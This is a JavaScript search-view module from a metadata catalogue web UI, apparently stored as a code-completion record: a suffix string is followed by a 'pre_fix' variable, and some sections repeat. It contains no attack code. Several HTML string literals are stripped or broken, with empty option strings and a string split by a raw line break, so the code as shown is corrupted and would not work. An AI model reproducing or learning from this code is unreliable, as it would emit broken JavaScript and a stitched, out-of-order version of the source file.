(_.isEmpty(this.searchTableColumns) || !tableColumn) {\n this.searchTableColumns[this.value.type] = attributes\n } else if (tableColumn.join(\",\") !== attributes.join(\",\")) {\n this.searchTableColumns[this.value.type] = attributes;\n }\n } else if (this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = undefined;\n }\n }\n }\n if (isBasicSearch && filterType) {\n this.makeFilterButtonActive(filterType);\n }\n } else if (isBasicSearch) {\n this.ui.tagAttrFilter.prop('disabled', true);\n this.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n }\n\n var value = this.ui.searchInput.val() || _.first($(this.ui.typeLov).select2('data')).id;\n if (!this.dsl && _.isEmpty(value)) {\n var termData = _.first($(this.ui.termLov).select2('data'));\n value = _.first($(this.ui.tagLov).select2('data')).id || (termData ? termData.id : \"\");\n }\n if (value && value.length) {\n this.ui.searchBtn.removeAttr(\"disabled\");\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n } else {\n this.ui.searchBtn.attr(\"disabled\", \"true\");\n }\n },\n onRender: function() {\n // array of tags which is coming from url\n this.initializeValues();\n this.updateTabState();\n if(!Globals.isRelationshipSearchEnabled){ // hide relationship search\n this.ui.searchTabs.addClass(\"disable-relationship-search\");\n this.ui.searchTabBody.addClass(\"search-tab-body\");\n }\n },\n updateTabState: function() {\n if ((Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) && !this.isRelationSearch) {\n var tabActive = (Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) ? \"relationship-search\" : \"basic-search\";\n this.$('.nav.nav-tabs').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n this.$('.tab-content').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n }\n },\n updateQueryObject: function(param) {\n if (param && param.searchType) {\n this.type = param.searchType;\n }\n _.extend(this.query[this.type],\n (this.type == \"dsl\" ? {\n query: null,\n type: null,\n pageOffset: null,\n pageLimit: null\n } : {\n query: null,\n type: null,\n tag: null,\n term: null,\n attributes: null,\n tagFilters: null,\n pageOffset: null,\n pageLimit: null,\n entityFilters: null,\n includeDE: null\n }), param);\n },\n onRefreshButton: function() {\n Utils.disableRefreshButton(this.ui.refreshBtn, this);\n var that = this,\n apiCount = 2,\n updateSearchList = function() {\n if (apiCount === 0) {\n that.initializeValues();\n var checkURLValue = Utils.getUrlState.getQueryParams(that.url);\n if (that.searchVent && (_.has(checkURLValue, \"tag\") || _.has(checkURLValue, \"type\") || _.has(checkURLValue, \"query\"))) {\n that.searchVent.trigger('search:refresh');\n }\n }\n };\n this.metricCollection.fetch({\n complete: function() {\n --apiCount;\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n updateSearchList();\n }\n });\n\n this.typeHeaders.fetch({\n silent: true,\n complete: function() {\n --apiCount;\n updateSearchList();\n }\n });\n },\n advancedInfo: function(e) {\n require([\n 'views/search/AdvancedSearchInfoView',\n 'modules/Modal'\n ], function(AdvancedSearchInfoView, Modal) {\n var view = new AdvancedSearchInfoView();\n var modal = new Modal({\n title: 'Advanced Search Queries',\n content: view,\n okCloses: true,\n showFooter: true,\n allowCancel: false\n }).open();\n view.on('closeModal', function() {\n modal.trigger('cancel');\n });\n });\n },\n openAttrFilter: function(filterType) {\n var that = this;\n require(['views/search/SearchQueryView'], function(SearchQueryView) {\n that.attrModal = new SearchQueryView({\n value: that.value,\n tag: (filterType === \"tag\" ? true : false),\n type: (filterType === \"type\" ? true : false),\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n entityDefCollection: that.entityDefCollection,\n enumDefCollection: that.enumDefCollection,\n classificationDefCollection: that.classificationDefCollection,\n businessMetadataDefCollection: that.businessMetadataDefCollection,\n searchTableFilters: that.searchTableFilters,\n\n });\n that.attrModal.on('ok', function(scope, e) {\n that.okAttrFilterButton(e);\n });\n });\n },\n okAttrFilterButton: function(e) {\n var that = this,\n isTag = this.attrModal.tag ? true : false,\n filtertype = isTag ? 'tagFilters' : 'entityFilters',\n queryBuilderRef = this.attrModal.RQueryBuilder.currentView.ui.builder,\n col = [];\n\n function getIdFromRuleObject(rule) {\n _.map(rule.rules, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return getIdFromRuleObject(obj);\n } else {\n return col.push(obj.id)\n }\n });\n return col;\n }\n if (queryBuilderRef.data('queryBuilder')) {\n var rule = queryBuilderRef.queryBuilder('getRules');\n }\n if (rule) {\n var ruleUrl = CommonViewFunction.attributeFilter.generateUrl({ \"value\": rule, \"formatedDateToLong\": true });\n this.searchTableFilters[filtertype][(isTag ? this.value.tag : this.value.type)] = ruleUrl;\n this.makeFilterButtonActive(filtertype);\n if (!isTag && this.value && this.value.type && this.searchTableColumns) {\n if (!this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = [\"selected\", \"name\", \"owner\", \"description\", \"tag\", \"typeName\"]\n }\n this.searchTableColumns[this.value.type] = _.sortBy(_.union(this.searchTableColumns[this.value.type], getIdFromRuleObject(rule)));\n }\n if (rule.rules) {\n if (!isTag && !that.tagEntityCheck) {\n var state = _.find(rule.rules, { id: \"__state\" });\n if (state) {\n that.typeEntityCheck = (state.value === \"ACTIVE\" && state.operator === \"=\") || (state.value === \"DELETED\" && state.operator === \"!=\") ? false : true;\n that.value.includeDE = that.typeEntityCheck;\n } else if (that.typeEntityCheck) {\n that.typeEntityCheck = false;\n if (!that.tagEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n if (isTag && !that.typeEntityCheck) {\n var entityStatus = _.find(rule.rules, { id: \"__entityStatus\" });\n if (entityStatus) {\n that.tagEntityCheck = (entityStatus.value === \"ACTIVE\" && entityStatus.operator === \"=\") || (entityStatus.value === \"DELETED\" && entityStatus.operator === \"!=\") ? false : true;\n that.value.includeDE = that.tagEntityCheck\n } else if (that.tagEntityCheck) {\n that.tagEntityCheck = false;\n if (!that.typeEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n }\n this.attrModal.modal.close();\n if ($(e.currentTarget).hasClass('search')) {\n this.findSearchResult();\n }\n }\n },\n manualRender: function(paramObj) {\n if (paramObj) {\n this.value = paramObj;\n }\n this.updateQueryObject(paramObj);\n this.renderTypeTagList();\n this.setValues(paramObj);\n },\n getFilterBox: function() {\n var serviceStr = '',\n serviceArr = [],\n that = this;\n this.typeHeaders.fullCollection.each(function(model) {\n var serviceType = model.toJSON().serviceType;\n if (serviceType) {\n serviceArr.push(serviceType);\n }\n });\n\n _.each(_.uniq(serviceArr), function(service) {\n serviceStr += '
  • ';\n });\n var templt = serviceStr + '
    ';\n return templt;\n },\n renderTypeTagList: function(options) {\n var that = this;\n var serviceTypeToBefiltered = (options && options.filterList);\n var isTypeOnly = options && options.isTypeOnly;\n if (this.selectedFilter[this.type].length) {\n serviceTypeToBefiltered = this.selectedFilter[this.type];\n }\n this.ui.typeLov.empty();\n var typeStr = '',\n tagStr = typeStr,\n foundNewClassification = false;\n this.typeHeaders.fullCollection.each(function(model) {\n var name = Utils.getName(model.toJSON(), 'name');\n if (model.get('category') == 'ENTITY' && (serviceTypeToBefiltered && serviceTypeToBefiltered.length ? _.includes(serviceTypeToBefiltered, model.get('serviceType')) : true)) {\n var entityCount = (that.entityCountObj.entity.entityActive[name] || 0) + (that.entityCountObj.entity.entityDeleted[name] || 0);\n typeStr += '';\n }\n if (isTypeOnly == undefined && model.get('category') == 'CLASSIFICATION') {\n var tagEntityCount = that.entityCountObj.tag.tagEntities[name];\n if (that.value && that.value.tag) { // to check if wildcard classification is present in our data\n if (name === that.value.tag) {\n foundNewClassification = true;\n }\n }\n tagStr += '';\n }\n });\n\n if (this.type !== \"dsl\") {\n _.each(Enums.addOnEntities, function(entity) {\n typeStr += '';\n });\n }\n if (!foundNewClassification && that.value) {\n if (that.value.tag) {\n var classificationValue = decodeURIComponent(that.value.tag);\n tagStr += '';\n }\n }\n if (_.isUndefined(isTypeOnly)) {\n //to insert extra classification list\n if (that.value) {\n _.each(Enums.addOnClassification, function(classificationName) {\n if (classificationName !== that.value.tag) {\n tagStr += '';\n }\n });\n }\n that.ui.tagLov.html(tagStr);\n this.ui.tagLov.select2({\n placeholder: \"Select Classification\",\n allowClear: true,\n tags: true,\n createTag: function(tag) {\n if (tag.term.indexOf('*') != -1) {\n return {\n id: tag.term,\n text: tag.term,\n isNew: true\n };\n }\n }\n });\n }\n that.ui.typeLov.html(typeStr);\n var typeLovSelect2 = this.ui.typeLov.select2({\n placeholder: \"Select Type\",\n dropdownAdapter: $.fn.select2.amd.require(\"ServiceTypeFilterDropdownAdapter\"),\n allowClear: true,\n getFilterBox: this.getFilterBox.bind(this),\n onFilterSubmit: function(options) {\n that.selectedFilter[that.type] = options.filterVal;\n that.filterTypeSelected = that.selectedFilter[that.type];\n that.renderTypeTagList({ \"filterList\": options.filterVal, isTypeOnly: true });\n that.checkForButtonVisiblity();\n }\n });\n if (this.value.filterTypeSelected === \"undefined\") {\n typeLovSelect2.on(\"select2:close\", function() {\n typeLovSelect2.trigger(\"hideFilter\");\n });\n if (typeLovSelect2 && isTypeOnly) {\n typeLovSelect2.select2('open').trigger(\"change\", { 'manual': true });\n }\n }\n if (that.setInitialEntityVal) {\n var defaultEntity = Enums.addOnEntities[0];\n that.value.type = defaultEntity;\n that.ui.typeLov.val(defaultEntity, null);\n }\n },\n renderTermList: function() {\n this.glossaryTermArray = null; //This Value is created to store the result of search Term while basic search through term.\n var that = this;\n var getTypeAheadData = function(data, params) {\n var dataList = data.entities,\n foundOptions = [];\n _.each(dataList, function(obj) {\n if (obj) {\n if (obj.guid) {\n obj['id'] = obj.attributes['qualifiedName'];\n }\n foundOptions.push(obj);\n }\n });\n return foundOptions;\n };\n this.ui.termLov.select2({\n placeholder: \"Search Term\",\n allowClear: true,\n ajax: {\n url: UrlLinks.searchApiUrl('attribute'),\n dataType: 'json',\n delay: 250,\n data: function(params) {\n return {\n attrValuePrefix: params.term, // search term\n typeName: \"AtlasGlossaryTerm\",\n limit: 10,\n offset: 0\n };\n },\n processResults: function(data, params) {\n that.glossaryTermArray = getTypeAheadData(data, params); //storing the search Results obj\n return {\n results: getTypeAheadData(data, params)\n };\n },\n cache: true\n },\n templateResult: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n templateSelection: function(option) {\n var name = Utils.getName(option, 'qualifiedName');\n return name === \"-\" ? option.text : name;\n },\n escapeMarkup: function(markup) {\n return markup;\n },\n minimumInputLength: 1\n });\n },\n setValues: function(paramObj) {\n var arr = [],\n that = this;\n if (paramObj) {\n this.value = paramObj;\n }\n if (this.value.filterTypeSelected) {\n this.filterTypeSelected = this.value.filterTypeSelected.split(',');\n this.renderTypeTagList({ \"filterList\": this.filterTypeSelected, isTypeOnly: true });\n this.ui.typeLov.val(this.value.type);\n }\n if (this.value) {\n this.ui.searchInput.val(this.value.query || \"\");\n if (this.value.dslChecked == \"true\" || this.value.searchType === \"dsl\") {\n if (!this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", true).trigger(\"change\");\n }\n } else {\n if (this.ui.searchType.prop(\"checked\")) {\n this.ui.searchType.prop(\"checked\", false).trigger(\"change\");\n }\n }\n this.ui.typeLov.val(this.value.type);\n if (this.ui.typeLov.data('select2')) {\n if (this.ui.typeLov.val() !== this.value.type) {\n this.value.type = null;\n this.ui.typeLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.typeLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n\n if (!this.dsl) {\n this.ui.tagLov.val(this.value.tag);\n if (this.ui.tagLov.data('select2')) {\n // To handle delete scenario.\n if (this.ui.tagLov.val() !== this.value.tag) {\n this.value.tag = null;\n this.ui.tagLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.tagLov.trigger(\"change\", { 'manual': true });\n }\n }\n\n if (this.value.term) {\n this.ui.termLov.append('');\n }\n if (this.ui.termLov.data('select2')) {\n if (this.ui.termLov.val() !== this.value.term) {\n this.value.term = null;\n this.ui.termLov.val(\"\").trigger(\"change\", { 'manual': true });\n } else {\n this.ui.termLov.trigger(\"change\", { 'manual': true });\n }\n }\n }\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n }\n },\n findSearchResult: function() {\n this.triggerSearch(this.ui.searchInput.val());\n Globals.fromRelationshipSearch = false;\n },\n //This below function returns the searched Term Guid.\n getSearchedTermGuid: function() {\n var searchedTerm = this.ui.termLov.select2('val'),\n searchedTermGuid = null;\n if (searchedTerm) {\n this.glossaryTermArray.find(function(obj) {\n if (searchedTerm === obj.id)\n searchedTermGuid = obj.guid;\n });\n }\n return searchedTermGuid;\n },\n triggerSearch: function(value) {\n var params = {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked'),\n tagFilters: null,\n entityFilters: null,\n filterTypeSelected: this.filterTypeSelected\n },\n typeLovValue = this.ui.typeLov.find(':selected').data('name'), // to get count of selected element used data\n tagLovValue = this.ui.tagLov.find(':selected').data('name') || this.ui.tagLov.val(),\n termLovValue = this.ui.termLov.select2('val');\n params['type'] = typeLovValue || null;\n if (!this.dsl) {\n params['tag'] = tagLovValue || null;\n params['term'] = termLovValue || null;\n params['guid'] = this.getSearchedTermGuid(); //Adding Guid in the URL for selection while switching. \n var entityFilterObj = this.searchTableFilters['entityFilters'],\n tagFilterObj = this.searchTableFilters['tagFilters'];\n params['includeDE'] = false;\n params['excludeST'] = false;\n params['excludeSC'] = false;\n if (this.value) {\n if (this.value.tag) {\n params['tagFilters'] = tagFilterObj[this.value.tag]\n }\n if (this.value.type) {\n params['entityFilters'] = entityFilterObj[this.value.type]\n }\n var columnList = this.value.type && this.searchTableColumns ? this.searchTableColumns[this.value.type] : null;\n params['attributes'] = columnList ? columnList.join(',') : null;\n params['includeDE'] = _.isUndefinedNull(this.value.includeDE) ? false : this.value.includeDE;\n params['excludeST'] = _.isUndefinedNull(this.value.excludeST) ? false : this.value.excludeST;\n params['excludeSC'] = _.isUndefinedNull(this.value.excludeSC) ? false : this.value.excludeSC;\n }\n }\n if (this.value && !_.isUndefinedNull(this.value.pageLimit)) {\n params['pageLimit'] = this.value.pageLimit;\n }\n if (this.value && !_.isUndefinedNull(this.value.pageOffset)) {\n if (!_.isUndefinedNull(this.query[this.type]) && this.query[this.type].query != value) {\n params['pageOffset'] = 0;\n } else {\n params['pageOffset'] = this.value.pageOffset;\n }\n }\n params['query'] = value || null;\n _.extend(this.query[this.type], params);\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend({}, this.query[this.type]),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n },\n dslFulltextToggle: function(e) {\n var paramObj = Utils.getUrlState.getQueryParams();\n if (paramObj && this.type == paramObj.searchType) {\n this.updateQueryObject(paramObj);\n }\n if (e.currentTarget.checked) {\n this.type = \"dsl\";\n this.dsl = true;\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').hide();\n this.$('.typeFilter').addClass('col-sm-12');\n this.$('.typeFilter').removeClass('col-sm-10');\n this.$('.advanceSaveSearch').show();\n this.$('.searchText').text('Search By Query');\n this.ui.searchInput.attr(\"placeholder\", 'Search By Query eg. where name=\"sales_fact\"');\n } else {\n this.$('.typeFilter').addClass('col-sm-10');\n this.$('.typeFilter').removeClass('col-sm-12');\n this.$('.typeFilterBtn,.tagBox,.termBox,.basicSaveSearch').show();\n this.$('.advanceSaveSearch').hide();\n this.dsl = false;\n this.type = \"basic\";\n this.$('.searchText').text('Search By Text');\n this.ui.searchInput.attr(\"placeholder\", \"Search By Text\");\n }\n if (Utils.getUrlState.isSearchTab()) {\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: _.extend(this.query[this.type], {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n }),\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n }\n },\n clearSearchData: function() {\n this.selectedFilter[this.type] = [];\n this.filterTypeSelected = [];\n this.renderTypeTagList();\n this.updateQueryObject();\n this.ui.typeLov.val(\"\").trigger(\"change\");\n this.ui.tagLov.val(\"\").trigger(\"change\");\n this.ui.searchInput.val(\"\");\n var type = \"basicSaveSearch\";\n if (this.type == \"dsl\") {\n type = \"advanceSaveSearch\";\n }\n this.$('.' + type + ' .saveSearchList').find('li.active').removeClass('active');\n this.$('.' + type + ' [data-id=\"saveBtn\"]').attr('disabled', true);\n if (!this.dsl) {\n this.searchTableFilters.tagFilters = {};\n this.searchTableFilters.entityFilters = {};\n }\n this.checkForButtonVisiblity();\n Utils.setUrl({\n url: '#!/search/searchResult',\n urlParams: {\n searchType: this.type,\n dslChecked: this.ui.searchType.is(':checked')\n },\n mergeBrowserUrl: false,\n trigger: true\n });\n }\n });\n return SearchLayoutView;\n});" pre_fix = "], function(require, Backbone, SearchLayoutViewTmpl, Utils, UrlLinks, Globals, Enums, VSearchList, CommonViewFunction, Modal) {\n 'use strict';\n\n var SearchLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchLayoutView */\n {\n _viewName: 'SearchLayoutView',\n\n template: SearchLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RSaveSearchBasic: \"[data-id='r_saveSearchBasic']\",\n RSaveSearchAdvance: \"[data-id='r_saveSearchAdvance']\",\n RRelationSearch: \"[data-id='r_relationshipSearch']\"\n },\n\n /** ui selector cache */\n ui: {\n searchInput: '[data-id=\"searchInput\"]',\n searchType: 'input[name=\"queryType\"]',\n searchBtn: '[data-id=\"searchBtn\"]',\n clearSearch: '[data-id=\"clearSearch\"]',\n typeLov: '[data-id=\"typeLOV\"]',\n tagLov: '[data-id=\"tagLOV\"]',\n termLov: '[data-id=\"termLOV\"]',\n refreshBtn: '[data-id=\"refreshBtn\"]',\n advancedInfoBtn: '[data-id=\"advancedInfo\"]',\n typeAttrFilter: '[data-id=\"typeAttrFilter\"]',\n tagAttrFilter: '[data-id=\"tagAttrFilter\"]',\n tablist: '[data-id=\"tab-searchlist\"] li',\n searchTabs:'[data-id=\"searchTabs\"]',\n searchTabBody:'[data-id=\"searchTabBody\"]',\n },\n\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.searchInput] = function(e) {\n var code = e.which;\n this.value.query = e.currentTarget.value;\n this.query[this.type].query = this.value.query;\n if (code == 13) {\n that.findSearchResult();\n }\n this.checkForButtonVisiblity();\n };\n events[\"change \" + this.ui.searchType] = 'dslFulltextToggle';\n events[\"click \" + this.ui.searchBtn] = 'findSearchResult';\n events[\"click \" + this.ui.clearSearch] = 'clearSearchData';\n events[\"change \" + this.ui.typeLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.tagLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.termLov] = 'checkForButtonVisiblity';\n events[\"click \" + this.ui.refreshBtn] = 'onRefreshButton';\n events[\"click \" + this.ui.advancedInfoBtn] = 'advancedInfo';\n events[\"click \" + this.ui.tablist] = function(e) {\n var tabValue = $(e.currentTarget).attr('role'),\n redirectionUrl = '#!/search';\n this.isRelationSearch = (tabValue === \"relationship-search\") ? true : false;\n if (this.isRelationSearch) {\n redirectionUrl = '#!/relationship';\n }\n Utils.setUrl({\n url: redirectionUrl,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events[\"click \" + this.ui.typeAttrFilter] = function() {\n this.openAttrFilter('type');\n };\n events[\"click \" + this.ui.tagAttrFilter] = function() {\n this.openAttrFilter('tag');\n };\n return events;\n },\n /**\n * intialize a new SearchLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'typeHeaders', 'searchVent', 'entityDefCollection', 'enumDefCollection', 'classificationDefCollection', 'businessMetadataDefCollection', 'searchTableColumns', 'searchTableFilters', 'metricCollection', 'classificationAndMetricEvent'));\n this.type = \"basic\";\n this.entityCountObj = _.first(this.metricCollection.toJSON()) || { entity: { entityActive: {}, entityDeleted: {} }, tag: { tagEntities: {} } };\n this.selectedFilter = {\n 'basic': [],\n 'dsl': []\n };\n this.filterTypeSelected = null;\n var param = Utils.getUrlState.getQueryParams();\n this.query = {\n dsl: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null\n },\n basic: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n tag: this.value ? this.value.tag : null,\n term: this.value ? this.value.term : null,\n attributes: this.value ? this.value.attributes : null,\n tagFilters: this.value ? this.value.tagFilters : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null,\n entityFilters: this.value ? this.value.entityFilters : null,\n includeDE: this.value ? this.value.includeDE : null,\n excludeST: this.value ? this.value.excludeST : null,\n excludeSC: this.value ? this.value.excludeSC : null\n }\n };\n if (!this.value) {\n this.value = {};\n }\n this.dsl = false;\n if (param && param.searchType) {\n this.type = param.searchType;\n this.updateQueryObject(param);\n }\n if ((this.value && this.value.type) || (this.value && this.value.tag && this.value.searchType === \"basic\")) {\n this.setInitialEntityVal = false;\n } else {\n this.setInitialEntityVal = true;\n }\n this.tagEntityCheck = false;\n this.typeEntityCheck = false;\n this.bindEvents();\n this.isRelationSearch = false;\n this.renderRelationshipSearchView();\n },\n renderSaveSearch: function() {\n var that = this;\n require(['views/search/save/SaveSearchView'], function(SaveSearchView) {\n var saveSearchBaiscCollection = new VSearchList(),\n saveSearchAdvanceCollection = new VSearchList(),\n saveSearchCollection = new VSearchList();\n saveSearchCollection.url = UrlLinks.saveSearchApiUrl();\n saveSearchBaiscCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n saveSearchAdvanceCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n var obj = {\n value: that.value,\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n fetchCollection: fetchSaveSearchCollection,\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection,\n getValue: function() {\n var queryObj = that.query[that.type],\n entityObj = that.searchTableFilters['entityFilters'],\n tagObj = that.searchTableFilters['tagFilters'],\n urlObj = Utils.getUrlState.getQueryParams();\n if (urlObj) {\n // includeDE value in because we need to send \"true\",\"false\" to the server.\n urlObj.includeDE = urlObj.includeDE == \"true\" ? true : false;\n urlObj.excludeSC = urlObj.excludeSC == \"true\" ? true : false;\n urlObj.excludeST = urlObj.excludeST == \"true\" ? true : false;\n }\n return _.extend({}, queryObj, urlObj, {\n 'entityFilters': entityObj ? entityObj[queryObj.type] : null,\n 'tagFilters': tagObj ? tagObj[queryObj.tag] : null,\n 'type': queryObj.type,\n 'query': queryObj.query,\n 'term': queryObj.term,\n 'tag': queryObj.tag\n })\n },\n applyValue: function(model, searchType) {\n that.manualRender(_.extend(searchType, CommonViewFunction.generateUrlFromSaveSearchObject({\n value: { \"searchParameters\": model.get('searchParameters'), 'uiParameters': model.get('uiParameters') },\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection\n })));\n }\n }\n that.RSaveSearchBasic.show(new SaveSearchView(_.extend(obj, {\n isBasic: true,\n collection: saveSearchBaiscCollection.fullCollection\n })));\n that.RSaveSearchAdvance.show(new SaveSearchView(_.extend(obj, {\n isBasic: false,\n collection: saveSearchAdvanceCollection.fullCollection\n })));\n\n function fetchSaveSearchCollection() {\n saveSearchCollection.fetch({\n success: function(collection, data) {\n saveSearchAdvanceCollection.fullCollection.reset(_.where(data, { \"searchType\": \"ADVANCED\" }));\n saveSearchBaiscCollection.fullCollection.reset(_.where(data, { \"searchType\": \"BASIC\" }));\n },\n silent: true\n });\n }\n fetchSaveSearchCollection();\n });\n },\n renderRelationshipSearchView: function() {\n var that = this;\n require(['views/search/RelationSearchLayoutView'], function(RelationSearchLayoutView) {\n that.RRelationSearch.show(new RelationSearchLayoutView(that.options));\n });\n },\n bindEvents: function(param) {\n var that = this;\n this.listenTo(this.typeHeaders, \"reset\", function(value) {\n this.initializeValues();\n }, this);\n this.listenTo(this.searchVent, \"entityList:refresh\", function(model, response) {\n this.onRefreshButton();\n }, this);\n this.classificationAndMetricEvent.on(\"classification:Update:Search\", function(options) {\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n that.value = Utils.getUrlState.getQueryParams() || {};\n if (!that.value.type) that.setInitialEntityVal = true;\n that.initializeValues();\n });\n },\n initializeValues: function() {\n this.renderTypeTagList();\n this.renderTermList();\n this.setValues();\n this.checkForButtonVisiblity();\n this.renderSaveSearch();\n if (this.setInitialEntityVal) {\n this.setInitialEntityVal = false;\n }\n },\n makeFilterButtonActive: function(filtertypeParam) {\n var filtertype = ['entityFilters', 'tagFilters'],\n that = this;\n if (filtertypeParam) {\n if (_.isArray(filtertypeParam)) {\n filtertype = filtertypeParam;\n } else if (_.isString(filtertypeParam)) {\n filtertype = [filtertypeParam];\n }\n }\n var typeCheck = function(filterObj, type) {\n if (that.value.type) {\n if (filterObj && filterObj.length) {\n that.ui.typeAttrFilter.addClass('active');\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n }\n that.ui.typeAttrFilter.prop('disabled', false);\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n that.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n var tagCheck = function(filterObj, type) {\n var filterAddOn = Enums.addOnClassification.filter(function(a) { a !== Enums.addOnClassification[0] });\n if (that.value.tag && !_.contains(filterAddOn, that.value.tag)) {\n that.ui.tagAttrFilter.prop('disabled', false);\n if (filterObj && filterObj.length) {\n that.ui.tagAttrFilter.addClass('active');\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n }\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n that.ui.tagAttrFilter.prop('disabled', true);\n }\n }\n _.each(filtertype, function(type) {\n var filterObj = that.searchTableFilters[type];\n if (type == \"entityFilters\") {\n typeCheck(filterObj[that.value.type], type);\n }\n if (type == \"tagFilters\") {\n tagCheck(filterObj[that.value.tag], type);\n }\n });\n },\n checkForButtonVisiblity: function(e, options) {\n var that = this,\n isBasicSearch = (this.type == \"basic\");\n if (e && e.currentTarget) {\n var $el = $(e.currentTarget),\n isTagEl = $el.data('id') == \"tagLOV\",\n isTermEl = $el.data('id') == \"termLOV\",\n isTypeEl = $el.data('id') == \"typeLOV\",\n select2Data = $el.select2('data');\n if (e.type == \"change\" && select2Data) {\n var value = (_.isEmpty(select2Data) ? select2Data : _.first(select2Data).id),\n key = \"tag\",\n filterType = isBasicSearch ? 'tagFilters' : null,\n value = value && value.length ? value : null;\n if (!isTagEl) {\n key = (isTermEl ? \"term\" : \"type\");\n if (isBasicSearch) {\n filterType = (isTypeEl ? \"entityFilters\" : null);\n }\n }\n if (this.value) {\n //On Change handle\n if (this.value[key] !== value || (!value && !this.value[key])) {\n var temp = {};\n temp[key] = value;\n _.extend(this.value, temp);\n // on change of type/tag change the offset.\n if (_.isUndefined(options)) {\n this.value.pageOffset = 0;\n }\n _.extend(this.query[this.type], temp);\n } else if (isBasicSearch) {\n // Initial loading handle.\n if (filterType) {\n var filterObj = this.searchTableFilters[filterType];\n if (filterObj && this.value[key]) {\n this.searchTableFilters[filterType][this.value[key]] = this.value[filterType] ? this.value[filterType] : null;\n }\n }\n\n if (this.value.type) {\n if (this.value.attributes) {\n var attributes = _.sortBy(this.value.attributes.split(',')),\n tableColumn = this.searchTableColumns[this.value.type];\n if (_.isEmpty(this.searchTableColumns) || !tableColumn) {\n this.searchTableColumns[this.value.type] = attributes\n } else if (tableColumn.join(\",\") !== attributes.join(\",\")) {\n this.searchTableColumns[this.value.type] = attributes;\n }\n } else if (this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = undefined;\n }\n }\n }\n if (isBasicSearch && filterType) {\n this.makeFilterButtonActive(filterType);\n }\n } else if (isBasicSearch) {\n this.ui.tagAttrFilter.prop('disabled', true);\n this.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n }\n\n var value = this.ui.searchInput.val() || _.first($(this.ui.typeLov).select2('data')).id;\n if (!this.dsl && _.isEmpty(value)) {\n var termData = _.first($(this.ui.termLov).select2('data'));\n value = _.first($(this.ui.tagLov).select2('data')).id || (termData ? termData.id : \"\");\n }\n if (value && value.length) {\n this.ui.searchBtn.removeAttr(\"disabled\");\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n } else {\n this.ui.searchBtn.attr(\"disabled\", \"true\");\n }\n },\n onRender: function() {\n // array of tags which is coming from url\n this.initializeValues();\n this.updateTabState();\n if(!Globals.isRelationshipSearchEnabled){ // hide relationship search\n this.ui.searchTabs.addClass(\"disable-relationship-search\");\n this.ui.searchTabBody.addClass(\"search-tab-body\");\n }\n },\n updateTabState: function() {\n if ((Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) && !this.isRelationSearch) {\n var tabActive = (Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) ? \"relationship-search\" : \"basic-search\";\n this.$('.nav.nav-tabs').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n this.$('.tab-content').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n }\n },\n updateQueryObject: function(param) {\n if (param && param.searchType) {\n this.type = param.searchType;\n }\n _.extend(this.query[this.type],\n (this.type == \"dsl\" ? {\n query: null,\n type: null,\n pageOffset: null,\n pageLimit: null\n } : {\n query: null,\n type: null,\n tag: null,\n term: null,\n attributes: null,\n tagFilters: null,\n pageOffset: null,\n pageLimit: null,\n entityFilters: null,\n includeDE: null\n }), param);\n },\n 